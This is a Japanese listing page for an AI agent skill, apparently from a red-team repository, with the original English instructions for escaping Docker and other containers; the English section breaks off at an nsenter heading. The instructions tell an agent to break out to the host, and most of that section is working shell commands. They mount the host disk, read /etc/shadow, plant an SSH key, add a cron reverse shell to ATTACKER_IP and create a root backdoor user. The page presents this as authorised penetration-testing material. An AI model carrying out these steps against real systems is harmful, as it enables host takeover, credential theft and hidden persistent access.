offensive-container-escape
できること
このスキルは、Docker、containerd、Podmanの設定を確認し、コンテナからホストシステムへの脱出の方法を探す方法論です。コンテナの隔離を、書面による許可を得てテストするセキュリティの専門家向けです。
使う場面
- ✓許可を得たペネトレーションテストで、コンテナの隔離をテストしているとき。
- ✓特権コンテナや露出したDockerのソケットによって、ホストへのアクセスが得られるかを確認したいとき。
- ✓評価の中で、脱出のリスクがないかコンテナの権限とランタイムのバージョンを確認する必要があるとき。
スキルのリンク
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/container/offensive-container-escape/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“コンテナの設定をテストする許可があります。コンテナがホストに到達できるかを確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
このスキルは、まずシェルがコンテナの中にあることを確認し、その権限、マウント、ソケットを一覧にします。そして、既知の設定の誤りを1つずつ確認し、ホストへのアクセスが可能かどうかを記録します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Container Escape and Breakout
You have a shell inside a container. Your objective is to break out to the underlying host operating system. Container isolation relies on Linux namespaces, cgroups, seccomp profiles, AppArmor/SELinux, and dropped capabilities. Every misconfiguration in these layers is an escape vector. This skill walks you through systematic enumeration, exploitation of common misconfigurations, abuse of exposed runtime sockets, capability-based escapes, cgroup breakouts, and known CVEs against container runtimes.
Quick Workflow
- Confirm you are inside a container (check for
.dockerenv, cgroup entries, PID 1 process). - Enumerate capabilities, mounts, namespaces, and sockets with automated tools.
- Identify the escape vector: privileged mode, socket exposure, dangerous capabilities, cgroup misconfiguration, or vulnerable runtime.
- Execute the breakout technique matching the vector.
- Validate host access by reading
/etc/hostname, checking PID namespace, or writing to host filesystem. - Pivot from host access to lateral movement across the cluster or infrastructure.
Phase 1: Container Detection and Enumeration
Before attempting escape, confirm you are containerized and map the attack surface.
Detecting Container Environment
# Check for Docker marker file
ls -la /.dockerenv
# Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'
# Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '
# Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'
# Check hostname (often a truncated container ID)
hostname
# Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20
Automated Enumeration Tools
# deepce - Docker enumeration and escalation tool
# Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh
# CDK - Zero-dependency container penetration toolkit
./cdk evaluate
# amicontained - Inspect container runtime and capabilities
./amicontained
# Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap
Decoding Capabilities Manually
# Read raw capability hex from /proc
cat /proc/1/status | grep CapEff
# Example output: CapEff: 0000003fffffffff
# Decode with capsh
capsh --decode=0000003fffffffff
# Key dangerous capabilities to look for:
# CAP_SYS_ADMIN - mount filesystems, cgroup manipulation, namespace operations
# CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries
# CAP_NET_ADMIN - network namespace manipulation, raw sockets
# CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks
# CAP_SYS_RAWIO - direct I/O to /dev/mem, /dev/kmem
# CAP_SYS_MODULE - load/unload kernel modules
# CAP_MKNOD - create device files
Checking Namespace Isolation
# Compare PID namespace
ls -la /proc/1/ns/pid
ls -la /proc/self/ns/pid
# Check if sharing host namespaces
ls -la /proc/1/ns/ | awk '{print $NF}'
# If namespace inodes match host, isolation is broken
# Check mount namespace for host mounts
cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath'
findmnt
# Check for host network namespace
ip addr show
# If you see host interfaces (eth0 with host IP), hostNetwork is true
cat /proc/net/tcp
Phase 2: Privileged Container Breakout
A container run with --privileged drops nearly all isolation. It has all capabilities, can see host devices, and has no seccomp or AppArmor restrictions.
Mount Host Filesystem
# List available block devices
fdisk -l 2>/dev/null || lsblk
# Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)
# Mount it into the container
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Verify host access
cat /mnt/host/etc/hostname
cat /mnt/host/etc/shadow
ls -la /mnt/host/root/
# Drop an SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
# Plant a reverse shell in cron
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab
# Add a backdoor user
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
nsenter to Host Namespaces
よくある質問
どのような設定の誤りを確認しますか?
特権モード、露出したランタイムのソケット、危険なLinuxの権限、cgroupの設定を確認します。
既知のランタイムのバグも扱いますか?
はい。runcなどのコンテナランタイムの既知の脆弱性を一覧にしており、システムが影響を受けるかを確認できます。
許可を得たテストだけのためのものですか?
はい。書面による許可のある評価のために書かれています。
詳細
作者による元の説明
Container escape and breakout techniques targeting Docker, containerd, and Podman runtimes. Covers privileged container breakout via host filesystem mount and nsenter, Docker socket abuse through /var/run/docker.sock, Linux capability exploitation including CAP_SYS_ADMIN, CAP_SYS_PTRACE, and CAP_NET_ADMIN, cgroup v1 notify_on_release escape, runc CVEs such as CVE-2019-5736 and CVE-2024-21626 Leaky Vessels, kernel exploits from within containers, and Dockerfile misconfigurations like --privileged and host namespace sharing. Includes enumeration with capsh, amicontained, deepce, CDK, and nsenter
repo: SnailSploit/Claude-Red
人気
- GitHubのスター
- 10k
- ランキング
- #11951
- ライセンス
- MIT
- 更新日
- 2026/10/12
コメント
- …
このリポジトリの他のスキル
offensive-active-directory
10kエージェントが、ネットワークの地図作成から Domain Adminへの攻撃経路の発見まで、許可を得た Active Directoryのセキュリティテストを計画できるよう支援します。
offensive-netexec
10kエージェントが、許可を得たネットワークのテストで、NetExec(nxc)ツールを使えるよう支援します。プロトコル、認証、認証情報の確認を扱います。
offensive-api-abuse
10kエージェントが、ビジネスロジックの悪用、GraphQLのリスク、競合状態を探す、許可を得たAPIのセキュリティテストを計画できるよう支援します。
offensive-api-security
10kエージェントが、OWASP API Top 10に基づき、REST、gRPC、WebSocketのAPIに対して許可を得たセキュリティテストを行えるよう支援します。
似ているスキル
openclaw-update
394k既存のOpenClaw Gatewayを更新するようエージェントを支援します。インストール方法に合った更新方法を選び、セッションを動かし続けます。
diagnose-gateway
394k設定、チャンネル、ポートを確認して、OpenClaw Gatewayが失敗している理由を、何も変更せずに突き止めるようエージェントを支援します。
crabbox-apps
394k一時的なクラウドマシン上でアプリを開いて実行し、そのビューをチャットのサイドパネルに表示するようエージェントを支援します。